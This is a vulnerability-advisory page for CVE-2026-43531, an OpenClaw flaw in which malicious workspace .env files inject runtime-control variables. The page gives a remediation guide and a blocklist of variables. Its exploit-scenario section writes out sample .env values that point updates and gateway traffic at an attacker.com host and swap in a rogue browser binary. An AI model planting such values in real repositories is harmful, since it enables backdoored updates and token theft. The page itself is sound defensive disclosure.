Skip to main content

OpenClaw EUVDEUVD-2026-27273

| CVE-2026-43531 HIGH
External Control of System or Configuration Setting (CWE-15)
2026-05-05 VulnCheck
7.0
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Clone malicious repository
  2. Delivery
    Open workspace in OpenClaw
  3. Exploit
    Load crafted .env file
  4. Execution
    Inject runtime-control variables
  5. Persist
    Redirect update/gateway/browser paths
  6. Impact
    Execute attacker-controlled code or exfiltrate credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A02:2025 - Security Misconfiguration
ASVS 5.0
V13 - Configuration Configuration hardening
Exploitation Conditions

Exploitation requires the OpenClaw application to load a workspace .env file from an untrusted repository, meaning the victim developer must clone a malicious repository and open it as a workspace in OpenClaw (satisfying UI:P user interaction requirement). The attacker needs low-level local access privileges (PR:L) in the form of filesystem write access to place the malicious .env file, typically achieved by publishing a public repository or submitting a pull request to a project the victim works on. The CVSS vector AV:L (local attack vector) indicates the attacker does not need to be on the same system - distributing a repository with a crafted .env file counts as 'local' because the exploitation happens client-side when the victim opens the workspace. Attack complexity is low (AC:L) because no special timing, race conditions, or information gathering are required; a static .env file with hardcoded malicious variables suffices. Limiting factors: User interaction is mandatory - automatic exploitation during git clone alone is not possible; the developer must explicitly open the workspace in OpenClaw. Authentication level PR:L means the attacker does not need admin privileges, only the ability to create or modify a repository that the victim will open. The vulnerability affects default OpenClaw configurations with no special feature enablement required. Versions 2026.4.9 and later are immune regardless of configuration due to the implemented blocklist.

Impact

Real-world risk is moderate to high for organizations using OpenClaw in multi-repository or collaborative development environments. The CVSS 4.0 vector (AV:L/AC:L/PR:L/UI:P) indicates local attack with low complexity requiring low privileges and user interaction - specifically, a developer must open and trust a malicious workspace containing a crafted .env file. No publicly available exploit code exists, and no CISA KEV listing confirms active exploitation, suggesting this is a proactive vendor disclosure rather than an in-the-wild threat. However, the high impact ratings (VC:H/VI:H/VA:H - complete confidentiality, integrity, and availability impact in the vulnerable component) reflect the severe consequences of successful exploitation: supply chain compromise via update source redirection, credential theft through gateway/ClawHub URL manipulation, and arbitrary code execution via browser executable override. The attack complexity is genuinely low - malicious .env injection requires no sophisticated techniques, just a text file in a cloned repository. User interaction (UI:P) is the primary friction: developers must explicitly open the workspace. In environments with strong repository vetting (internal-only codebases, trusted vendor sources), risk is lower. In scenarios with frequent public repository cloning (open-source contribution workflows, freelancer onboarding, contractor access), risk escalates significantly because the attack vector aligns with normal developer behavior. Organizations should prioritize patching if their OpenClaw deployment involves untrusted code repositories or if developers routinely clone external projects.

Exploit ScenarioDerived

An attacker publishes a seemingly legitimate open-source repository (example: a popular framework tutorial or utility library) to GitHub, embedding a malicious .env file in the workspace root. The .env file contains 'OPENCLAW_UPDATE_PACKAGE_SPEC=https://attacker.com/backdoor.tgz' to redirect package updates to a compromised source, 'OPENCLAW_GATEWAY_URL=https://attacker.com/gateway' to intercept API traffic and credentials, and 'BROWSER_EXECUTABLE_PATH=/tmp/malicious-chrome' to execute an attacker-controlled binary when OpenClaw launches browser automation. A developer clones the repository and opens it in OpenClaw, triggering automatic .env loading. The injected variables redirect subsequent update checks to download backdoored packages, route ClawHub API requests through the attacker's proxy to harvest authentication tokens, and replace the legitimate browser with a trojanized executable. No public exploit code exists, but the attack requires only standard repository hosting and relies on social engineering to convince developers to open the malicious workspace.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 05, 2026

Environment variable injection in OpenClaw npm package versions before 2026.4.9 allows local attackers with low privileges to compromise application behavior through malicious workspace .env files. Attackers can redirect update sources to serve backdoored packages, modify gateway URLs and ClawHub resolution endpoints to intercept traffic, and override browser executable paths to launch attacker-controlled binaries. Vendor-released patch: version 2026.4.9, with fix also present in latest npm release 2026.4.14. No public exploit identified at time of analysis, but exploitation requires only an untrusted repository with a crafted .env file opened by a victim user.

Earlier versions of this analysis (1)
v1 May 05, 2026 - 12:19 CVSS 7.3

Environment variable injection in OpenClaw npm package before 2026.4.9 enables attackers to hijack runtime configuration via malicious workspace .env files. By placing a crafted .env file in a repository, attackers can redirect update sources to serve backdoored packages, alter API gateway URLs to intercept traffic, substitute browser executables for code execution, and disable security controls. Exploitation requires a local authenticated user to open a malicious workspace with user interaction (CVSS AV:L/AC:L/PR:L/UI:R). Vendor-released patch confirmed in version 2026.4.9, available via GitHub commit dbfcef3 and npm release 2026.4.14. No active exploitation (CISA KEV) or public exploit code identified at time of analysis, though proof-of-concept is trivial given the detailed advisory and commit diff.

RemediationAI

Upgrade the OpenClaw npm package to version 2026.4.9 or later, with 2026.4.14 recommended as the current stable release incorporating the fix. Execute 'npm update openclaw' or modify package.json to specify '"openclaw": "^2026.4.9"' and run 'npm install'. The fix is implemented in commit dbfcef319618158fa40b31cdac386ea34c392c0c and merged via pull request #62660, both linked in the GitHub advisory at https://github.com/openclaw/openclaw/security/advisories/GHSA-7wv4-cc7p-jhxc. The patch introduces a blocklist of 37 runtime-control variables and six prefix families to prevent workspace .env files from injecting sensitive configuration. If immediate upgrade is not feasible, implement compensating controls: (1) Restrict workspace .env file permissions to read-only for the OpenClaw process user to prevent runtime modification, though this does not block load-time injection; (2) Conduct manual code review of all .env files in cloned repositories before opening workspaces, searching for blocked variable names listed in the advisory (OPENCLAW_UPDATE_PACKAGE_SPEC, OPENCLAW_GATEWAY_URL, BROWSER_EXECUTABLE_PATH, CLAWHUB_TOKEN, etc.) - this is labor-intensive and error-prone; (3) Run OpenClaw in a sandboxed environment (container, VM) with network egress filtering to prevent gateway redirection and update source compromise, accepting the operational overhead of managing isolated development environments. These workarounds introduce significant friction to developer workflows and do not fully mitigate the vulnerability; upgrading to the patched version remains the only complete remediation.

Affected VersionsENISA

OpenClaw 0 <2026.4.9

Affected Packages

npm openclaw fix: 2026.4.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability (CWE-15: External Control of System or Configuration Setting) affects the dotenv configuration loading mechanism in OpenClaw, an npm package for AI-assisted development workflows. The affected product (cpe:2.3:a:openclaw:openclaw) loads workspace-local .env files to set environment variables but failed to filter runtime-control variables before version 2026.4.9. The commit dbfcef319618158fa40b31cdac386ea34c392c0c introduces a comprehensive blocklist of 37 sensitive variable names and six prefix families (OPENCLAW_UPDATE_*, OPENCLAW_SKIP_*, OPENCLAW_DISABLE_*, OPENCLAW_CLAWHUB_*, CLAWHUB_*, ANTHROPIC_API_KEY_*) to prevent workspace .env files from hijacking application runtime behavior. The fix preserves user-defined environment variables (like GITHUB_TOKEN, DATABASE_URL_CUSTOM) while blocking variables controlling update mechanisms (OPENCLAW_UPDATE_PACKAGE_SPEC), network routing (OPENCLAW_GATEWAY_URL, CLAWHUB_URL), authentication tokens (CLAWHUB_TOKEN, CLAWHUB_AUTH_TOKEN), binary execution paths (BROWSER_EXECUTABLE_PATH, PLAYWRIGHT_CHROMIUM_EXECUTABLE_PATH), plugin catalog sources (OPENCLAW_PLUGIN_CATALOG_PATHS), and diagnostic controls (OPENCLAW_SHOW_SECRETS). The vulnerability exists because workspace .env files, intended for project-specific configuration, could override system-level security controls designed to protect the OpenClaw runtime environment.

Know when Openclaw gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 7.0 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck) · only source for this CVE.

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Analysis Updated
May 05, 2026 - 12:49 vuln.today
v2 - CVSS changed
CVSS changed
May 05, 2026 - 12:37 NVD
7.3 (HIGH) 7.0 (HIGH)

DescriptionCVE.org

OpenClaw before 2026.4.9 contains an environment variable injection vulnerability allowing malicious workspace .env files to set runtime-control variables. Attackers can inject variables affecting update sources, gateway URLs, ClawHub resolution, and browser executable paths to compromise application behavior.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on openclaw (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 2026.4.9.

Executive ViewAI

Why It Matters

OpenClaw npm package versions before 2026.4.9 contain an environment variable injection vulnerability that allows local attackers with low privileges to redirect package updates, intercept gateway traffic, and execute arbitrary binaries by placing malicious .env files in shared workspaces. Organizations using OpenClaw in multi-user or supply-chain environments risk package tampering, man-in-the-middle attacks, and unauthorized code execution without requiring elevated permissions.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: restrict .env file write permissions in shared workspaces to authorized users only, disable auto-update mechanisms until patched, implement network monitoring to detect suspicious gateway/ClawHub traffic, and require code review of any .env file changes before merge.

Threat Intelligence Overview

EPSS Score
0.0%
Top 98% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

35
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +35
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

CVE-2026-28446 CRITICAL POC
9.4 Mar 05

Auth bypass in OpenClaw voice-call extension before 2026.2.1. EPSS 0.68%. PoC and patch available.

CVE-2026-33579 CRITICAL POC
9.4 Mar 31

Privilege escalation in OpenClaw (pre-2026.3.28) allows unauthenticated remote attackers to gain administrative access b

CVE-2026-32042 HIGH POC
8.8 Mar 21

OpenClaw versions 2026.2.22 through 2026.2.24 contain a privilege escalation vulnerability that allows authenticated att

CVE-2026-32051 HIGH POC
8.8 Mar 21

An authorization mismatch vulnerability in OpenClaw versions prior to 2026.3.1 allows authenticated users with operator.

CVE-2026-25253 HIGH POC
8.8 Feb 01

OpenClaw versions prior to 2026.1.29 automatically establish WebSocket connections to attacker-controlled gateway URLs e

CVE-2026-32846 HIGH POC
8.7 Mar 26

Path traversal in OpenClaw through version 2026.3.23 enables unauthenticated remote attackers to read arbitrary files in

CVE-2026-53857 HIGH POC
8.6 Jun 16

Authentication bypass in OpenClaw before 2026.5.3 allows remote attackers with low privileges to receive agent responses

CVE-2026-100530 HIGH POC
8.5 Sep 26

Directory-context bypass in OpenClaw before 2026.8.1 allows authenticated attackers with user interaction to reuse an 'a

CVE-2026-32064 HIGH POC
8.5 Mar 21

Unauthenticated access to the noVNC observer interface in OpenClaw's Docker sandbox browser allows anyone who can reach

CVE-2026-44118 HIGH POC
8.5 May 06

Authentication bypass in OpenClaw's MCP loopback interface allows local low-privilege attackers to escalate to owner-lev

CVE-2026-32055 HIGH POC
7.6 Mar 21

OpenClaw versions before 2026.2.26 allow authenticated attackers to write arbitrary files outside the workspace director

CVE-2026-32056 HIGH POC
7.5 Mar 21

OpenClaw versions prior to 2026.2.22 contain a shell environment variable injection vulnerability in the system.run func

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy